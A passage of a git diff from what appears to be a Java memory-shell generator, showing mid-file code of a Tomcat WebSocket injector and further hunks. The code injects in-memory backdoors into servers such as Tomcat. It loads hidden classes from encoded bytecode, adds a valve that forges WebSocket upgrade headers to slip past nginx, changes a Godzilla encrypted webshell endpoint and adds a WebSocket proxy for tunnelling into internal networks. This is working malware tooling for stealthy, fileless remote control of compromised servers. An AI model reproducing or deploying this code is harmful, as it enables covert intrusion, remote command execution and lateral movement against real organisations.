Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + String threadName = thread.getName(); + if (threadName.contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } else if (threadName.contains("Poller") && !threadName.contains("ajp")) { + try { + Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto"); + Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine"); + Map childrenMap = (Map) getFieldValue(engine, "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } catch (Exception ignored) { + } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = getWebAppClassLoader(context); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + clazz = defineShell(classLoader, getBase64String()); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); + } + + private Class defineShell(ClassLoader classLoader, String base64) throws Exception { + byte[] clazzByte = gzipDecompress(decodeBase64(base64)); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + return ((Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length)); + } + + + @SuppressWarnings("unchecked") + private void inject(Object context, Object obj) throws Exception { + Object servletContext = invokeMethod(context, "getServletContext", null, null); + Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); + if (container == null) { + container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"}); + } + + if (container == null) { + throw new RuntimeException("container is null"); + } + + if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { + return; + } + + Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance(); + Object pipeline = invokeMethod(context, "getPipeline", null, null); + Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); + + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class serverEndpointConfigClass; + Class builderClass; + try { + serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); + } catch (ClassNotFoundException e) { + serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder"); + } + Constructor constructor = builderClass.getDeclaredConstructor(Class.class, String.class); + constructor.setAccessible(true); + Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern()); + Object endpointConfig = invokeMethod(o1, "build", null, null); + + invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); + } + + @Override + public String toString() { + return msg; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java index 095f5a5d..f492d215 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java @@ -5,9 +5,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java index de5611c5..26001fd1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java @@ -5,11 +5,8 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.ArrayList; import java.util.HashSet; -import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java index e20ee762..261e360a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java @@ -6,10 +6,12 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.management.ManagementFactory; -import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java index e8c961cc..ee5b63c9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java @@ -7,11 +7,9 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.management.ManagementFactory; -import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.Arrays; import java.util.HashSet; import java.util.Map; import java.util.Set; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java index 6d010d29..dd68036e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java @@ -6,7 +6,6 @@ import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Set; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java index 766c2845..33e4c71f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java @@ -46,6 +46,8 @@ public InjectorMapping getShellInjectorMapping() { .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class) + .addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class) + .addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class) .addInjector(UPGRADE, TomcatUpgradeInjector.class) .build(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java index 0fd14c53..492a78ff 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java @@ -3,7 +3,6 @@ import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.mvc.Controller; -import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 0ab2430f..3f4e842e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.memshell.shelltool.command; -import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index af225cdf..e881d6af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.memshell.shelltool.command; import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 2b94fd58..c02ea888 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -4,7 +4,6 @@ import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; import javax.websocket.Session; -import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.util.Scanner; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java index eacedd76..12fa2a5b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java @@ -16,7 +16,6 @@ import java.net.URL; import java.net.URLClassLoader; import java.nio.ByteBuffer; -import java.nio.charset.Charset; import static java.nio.charset.StandardCharsets.UTF_8; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java index 70905aea..c1ef80d0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java @@ -12,21 +12,22 @@ import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; +import java.nio.ByteBuffer; /** * @author ReaJason * @since 2025/5/9 */ -public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole { +public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole { public static String key; private Session session; private static Class payload; @Override - public void onMessage(String message) { + public void onMessage(ByteBuffer byteBuffer) { byte[] result = null; try { - byte[] data = base64Decode(message); + byte[] data = byteBuffer.array(); data = x(data, false); if (payload == null || (data[0] == -54 && data[1] == -2)) { payload = reflectionDefineClass(data); @@ -44,7 +45,7 @@ public void onMessage(String message) { result = getErrorMessage(e).getBytes(); } try { - session.getBasicRemote().sendText(base64Encode(x(result, true))); + session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true))); } catch (Exception ignored) { } } @@ -83,28 +84,6 @@ public void onOpen(final Session session, EndpointConfig config) { session.addMessageHandler(this); } - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - try { - Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); - return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); - return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) throws Exception { - try { - Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); - return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } - } - public byte[] x(byte[] s, boolean m) throws Exception { Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java index 6fa3eb28..dcb49e70 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java @@ -12,11 +12,12 @@ import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java index e22d9111..eeeda2fc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java @@ -8,11 +8,12 @@ import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java index 7361ca41..2aafa31d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java @@ -12,11 +12,12 @@ import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java index da3cdb79..9731453f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java @@ -1,16 +1,16 @@ package com.reajason.javaweb.memshell.shelltool.suo5v2; import javax.net.ssl.*; -import javax.servlet.http.HttpServletRequest; import java.io.*; import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java index b1607882..e74fc6b5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java @@ -11,11 +11,12 @@ import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java index 9ae026b7..580c1cda 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java @@ -8,11 +8,12 @@ import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java index eb03a380..c689ae93 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java @@ -10,11 +10,12 @@ import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java index b3b5fede..be47db6e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java @@ -1,16 +1,16 @@ package com.reajason.javaweb.memshell.shelltool.suo5v2; import javax.net.ssl.*; -import javax.servlet.http.HttpServletRequest; import java.io.*; import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java index 45b492d8..09d04725 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java @@ -14,11 +14,12 @@ import java.net.*; import java.nio.ByteBuffer; import java.nio.channels.SocketChannel; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; import java.security.cert.CertificateException; import java.security.cert.X509Certificate; -import java.util.*; +import java.util.Enumeration; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Random; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.TimeUnit; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java new file mode 100644 index 00000000..8e0c3df0 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java @@ -0,0 +1,98 @@ +package com.reajason.javaweb.memshell.shelltool.wsbypass; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2026/1/13 + */ +public class TomcatWsBypassValve implements Valve { + public static String headerName; + public static String headerValue; + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + String pathInfo = request.getPathInfo(); + String path; + if (pathInfo == null) { + path = request.getServletPath(); + } else { + path = request.getServletPath() + pathInfo; + } + Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer"); + if (sc == null) { + sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer"); + } + if (sc == null) { + throw new ServletException("Server container not found"); + } + addHeader(request, "Connection", "upgrade"); + addHeader(request, "Upgrade", "websocket"); + Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path); + Class upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil"); + for (Method method : upgradeUtil.getMethods()) { + if ("doUpgrade".equals(method.getName())) { + method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams")); + } + } + return; + } + } catch (Throwable e) { + e.printStackTrace(); + } + this.getNext().invoke(request, response); + } + + private Object getFieldValue(Object obj, String fieldName) throws Exception { + Field declaredField = obj.getClass().getDeclaredField(fieldName); + declaredField.setAccessible(true); + return declaredField.get(obj); + } + + private void addHeader(Request request, String key, String value) { + try { + Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest"); + coyoteRequestField.setAccessible(true); + Object coyoteRequest = coyoteRequestField.get(request); + Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders"); + Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest); + Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class); + Object messageBytes = addValueMethod.invoke(mimeHeaders, key); + Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class); + setStringMethod.invoke(messageBytes, value); + } catch (Exception e) { + e.printStackTrace(); + } + } + + Valve next; + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return false; + } + + @Override + public void backgroundProcess() { + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsproxy/ProxyWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsproxy/ProxyWebSocket.java new file mode 100644 index 00000000..b9c94e33 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsproxy/ProxyWebSocket.java @@ -0,0 +1,111 @@ +package com.reajason.javaweb.memshell.shelltool.wsproxy; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.io.ByteArrayOutputStream; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2026/1/14 + */ +public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole, CompletionHandler { + private Session session; + private long messageCount = 0; + private AsynchronousSocketChannel currentClient = null; + private final ByteBuffer buffer = ByteBuffer.allocate(102400); + private ByteArrayOutputStream baos = new ByteArrayOutputStream(); + private final HashMap channelMap = new HashMap<>(); + + public ProxyWebSocket() { + } + + public void completed(Integer result, Session attachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer response = ByteBuffer.wrap(baos.toByteArray()); + if (attachment.isOpen()) { + attachment.getBasicRemote().sendBinary(response); + } + baos = new ByteArrayOutputStream(); + readFromServer(attachment, currentClient); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(attachment, currentClient); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable exc, Session attachment) { + exc.printStackTrace(); + } + + public void onMessage(ByteBuffer message) { + try { + message.clear(); + messageCount++; + process(message, session); + } catch (Exception ignored) { + } + } + + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.messageCount = 0; + this.session = session; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024); + session.setMaxTextMessageBufferSize(1024 * 1024 * 1024); + session.addMessageHandler(this); + } 